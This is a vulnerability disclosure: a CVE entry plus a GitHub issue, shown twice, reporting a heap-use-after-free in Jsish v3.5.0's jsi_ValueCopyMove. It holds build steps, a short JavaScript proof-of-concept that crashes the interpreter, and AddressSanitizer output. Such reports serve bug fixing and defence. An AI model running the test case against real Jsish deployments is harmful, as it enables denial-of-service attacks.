Jsish v3.5.0 was discovered to contain a heap-use-after-free via jsi_ValueCopyMove in src/jsiValue.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:jsish:jsish:3.5.0:*:*:*:*:*:*:*
E97897F2-55BD-40DD-9F33-7980D892A505
OR
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
function JSEtest(){}

var arr = /x?y?z?/.exec("abcd");
arr[arr[1000] = 3](arr.every(JSEtest), arr[1000] = 3, '1')
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js

==99189==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000006e84 at pc 0x5637792b29cd bp 0x7ffef5f97e60 sp 0x7ffef5f97e50
READ of size 4 at 0x603000006e84 thread T0
    #0 0x5637792b29cc in jsi_ValueCopyMove src/jsiValue.c:245
    #1 0x5637792b29cc in Jsi_ValueCopy src/jsiValue.c:301
    #2 0x5637795f6759 in jsi_ObjArraySetDup src/jsiEval.c:1054
    #3 0x5637795f6759 in jsi_ValueObjKeyAssign src/jsiEval.c:1079
    #4 0x5637795f6759 in jsiEvalCodeSub src/jsiEval.c:1303
    #5 0x5637795fd15e in jsi_evalcode src/jsiEval.c:2204
    #6 0x563779601274 in jsi_evalStrFile src/jsiEval.c:2665
    #7 0x5637792f066a in Jsi_Main src/jsiInterp.c:936
    #8 0x563779af503a in jsi_main src/main.c:47
    #9 0x7f66650eebf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #10 0x563779284969 in _start (/usr/local/bin/jsish+0xe8969)

0x603000006e84 is located 4 bytes inside of 32-byte region [0x603000006e80,0x603000006ea0)
freed by thread T0 here:
    #0 0x7f6665d5d7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
    #1 0x5637792a56cf in Jsi_DecrRefCount src/jsiValue.c:52

previously allocated by thread T0 here:
    #0 0x7f6665d5dd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x5637792f5aa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:245 in jsi_ValueCopyMove
Shadow bytes around the buggy address:
  0x0c067fff8d80: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8d90: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8da0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
  0x0c067fff8db0: fa fa fd fd fd fd fa fa 00 00 04 fa fa fa 00 00
  0x0c067fff8dc0: 04 fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
=>0x0c067fff8dd0:[fd]fd fd fd fa fa 00 00 00 00 fa fa fd fd fd fd
  0x0c067fff8de0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
  0x0c067fff8df0: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
  0x0c067fff8e00: 00 00 00 00 fa fa 00 00 00 00 fa fa fa fa fa fa
  0x0c067fff8e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==99189==ABORTING

```
Credits: Found by OWL337 team.
Heap-use-after-free src/jsiValue.c:245 in jsi_ValueCopyMove
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : Heap-use-after-free src/jsiValue.c:245 in jsi_ValueCopyMove
Issue date:

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###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
function JSEtest(){}

var arr = /x?y?z?/.exec("abcd");
arr[arr[1000] = 3](arr.every(JSEtest), arr[1000] = 3, '1')
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js

==99189==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000006e84 at pc 0x5637792b29cd bp 0x7ffef5f97e60 sp 0x7ffef5f97e50
READ of size 4 at 0x603000006e84 thread T0
    #0 0x5637792b29cc in jsi_ValueCopyMove src/jsiValue.c:245
    #1 0x5637792b29cc in Jsi_ValueCopy src/jsiValue.c:301
    #2 0x5637795f6759 in jsi_ObjArraySetDup src/jsiEval.c:1054
    #3 0x5637795f6759 in jsi_ValueObjKeyAssign src/jsiEval.c:1079
    #4 0x5637795f6759 in jsiEvalCodeSub src/jsiEval.c:1303
    #5 0x5637795fd15e in jsi_evalcode src/jsiEval.c:2204
    #6 0x563779601274 in jsi_evalStrFile src/jsiEval.c:2665
    #7 0x5637792f066a in Jsi_Main src/jsiInterp.c:936
    #8 0x563779af503a in jsi_main src/main.c:47
    #9 0x7f66650eebf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #10 0x563779284969 in _start (/usr/local/bin/jsish+0xe8969)

0x603000006e84 is located 4 bytes inside of 32-byte region [0x603000006e80,0x603000006ea0)
freed by thread T0 here:
    #0 0x7f6665d5d7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
    #1 0x5637792a56cf in Jsi_DecrRefCount src/jsiValue.c:52

previously allocated by thread T0 here:
    #0 0x7f6665d5dd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x5637792f5aa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:245 in jsi_ValueCopyMove
Shadow bytes around the buggy address:
  0x0c067fff8d80: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8d90: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8da0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
  0x0c067fff8db0: fa fa fd fd fd fd fa fa 00 00 04 fa fa fa 00 00
  0x0c067fff8dc0: 04 fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
=>0x0c067fff8dd0:[fd]fd fd fd fa fa 00 00 00 00 fa fa fd fd fd fd
  0x0c067fff8de0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
  0x0c067fff8df0: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
  0x0c067fff8e00: 00 00 00 00 fa fa 00 00 00 00 fa fa fa fa fa fa
  0x0c067fff8e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==99189==ABORTING

```
Credits: Found by OWL337 team.
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